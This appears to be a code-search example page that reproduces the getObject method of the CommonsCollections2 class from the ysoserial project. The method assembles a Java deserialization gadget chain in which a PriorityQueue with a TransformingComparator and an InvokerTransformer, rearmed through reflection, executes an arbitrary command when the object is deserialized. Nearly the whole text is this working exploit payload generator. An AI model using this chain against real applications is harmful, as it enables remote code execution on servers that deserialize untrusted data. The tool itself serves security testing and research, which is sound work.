Search in sources :

Example 1 with InvokerTransformer

use of org.apache.commons.collections4.functors.InvokerTransformer in project ysoserial by frohoff.

the class CommonsCollections2 method getObject.

public Queue<Object> getObject(final String command) throws Exception {
    final Object templates = Gadgets.createTemplatesImpl(command);
    // mock method name until armed
    final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
    // create queue with numbers and basic comparator
    final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
    // stub data for replacement later
    queue.add(1);
    queue.add(1);
    // switch method called by comparator
    Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
    // switch contents of queue
    final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
    queueArray[0] = templates;
    queueArray[1] = 1;
    return queue;
}
Also used : PriorityQueue(java.util.PriorityQueue) TransformingComparator(org.apache.commons.collections4.comparators.TransformingComparator) InvokerTransformer(org.apache.commons.collections4.functors.InvokerTransformer)

Aggregations

PriorityQueue (java.util.PriorityQueue)1 TransformingComparator (org.apache.commons.collections4.comparators.TransformingComparator)1 InvokerTransformer (org.apache.commons.collections4.functors.InvokerTransformer)1